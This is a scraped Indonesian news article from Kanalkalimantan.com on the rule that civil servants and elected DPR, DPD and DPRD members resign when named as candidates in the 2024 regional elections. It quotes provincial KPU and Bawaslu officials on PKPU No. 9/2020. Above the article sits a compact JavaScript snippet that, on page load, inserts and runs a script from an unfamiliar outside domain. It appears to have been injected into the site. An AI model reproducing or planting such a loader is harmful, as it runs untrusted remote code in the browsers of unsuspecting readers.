(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Caleg Terpilih Ikut Pilkada Harus Mundur


KANALKALIMANTAN.COM, BANJARMASIN – Keharusan melepaskan jabatan kepegawaian ketika memutuskan maju pada kontestasi Pemilihan Kepala Daerah (Pilkada) 2024 menjadi syarat mutlak bagi kalangan birokrat atau Aparatur Sipil Negara (ASN).

Ketentuan itu termuat dalam pasal 4 ayat 1 huruf u PKPU Nomor 9 Tahun 2020, dimana ASN yang maju sebagaimana calon Gubernur atau Wakil Gubernur, Bupati atau Wakil Bupati, dan Wali Kota atau Wakil Wali Kota harus menyatakan secara tertulis pengunduran diri sebagai Pegawai Negeri Sipil sejak ditetapkan sebagai calon.

“Iya wajib mundur, ASN kan harus netral,” kata Ketua KPU Kalsel Andi Tenri Sompa, Sabtu (20/4/2024).

Baca juga: Temuan Lelaki Tergeletak di Pinggir Danau Jalan Batu Besi Landasan Ulin

Tak hanya jabatan publik, aturan tersebut juga berlaku bagi jabatan politik, tak terkecuali anggota Dewan Perwakilan Rakyat (DPR), Dewan Perwakilan Daerah (DPD) , dan anggota Dewan Perwakilan Rakyat Daerah (DPRD).

Anggota Badan Pengawas Pemilu (Bawaslu) Provinsi Kalsel, Thessa Aji Budiono mengamini ketentuan tersebut.

Menurut Thessa ketika anggota legislatif memutuskan mendaftar sebagai bakal calon Gubernur atau Wakil Gubernur, Bupati atau Wakil Bupati, dan Wali Kota atau Wakil Wali Kota, maka saat penetapan calon kepala daerah pada 22 September 2024 sudah harus mundur dari jabatan politik tersebut.

Baca juga: Fatin Shidqia Hantar Warga Ibu Kota Rayakan Hari Jadi ke-25 Kota Banjarbaru

“Ya, untuk anggota DPR dan DPRD yang dilantik juga harus mundur dari jabatannya, jika mendaftar diri sebagai calon kepala daerah,” kata Thessa.

Berdasarkan Peraturan KPU Nomor 3 Tahun 2024, anggota DPR RI dan DPD RI terpilih Pemilu 2024 akan melangsungkan pengucapan sumpah atau janji pada 1 Oktober 2024. Sementara anggota DPRD provinsi dan kabupaten kota dilantik menyesuaikan dengan akhir masa jabatan masing-masing anggota.

Saat ini menurutnya regulasi yang dipakai mekanisme pendaftaran calon kepala daerah masih PKPU Nomor 9 Tahun 2020 Perubahan Keempat atas PKPU Nomor 3 tahun 2017. Disanalah ketentuan pengunduran diri anggota legislatif yang maju sebagai calon kepala daerah itu diatur.

Baca juga: Saling Serang Pakai Parang, R Tewas Penuh Darah di Kawasan Pasar Jumat Ratu Elok

Dimana pasal 4 ayat 1 huruf r berbunyi “Menyatakan secara tertulis pengunduran diri sebagai Anggota Dewan Perwakilan Rakyat, Dewan Perwakilan Daerah, atau Dewan Perwakilan Rakyat Daerah bagi Anggota DPR, DPD atau DPRD sejak ditetapkan sebagai calon”

“Saat ini masih pakai PKPU Nomor 9 Tahun 2020. Untuk mekansime dan teknisnya kita tunggu nanti peraturan dan ketentuan lebih lanjut dari KPU” pungkas Thessa. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

2 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

4 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

18 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

24 jam ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

1 hari ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

1 hari ago

This website uses cookies.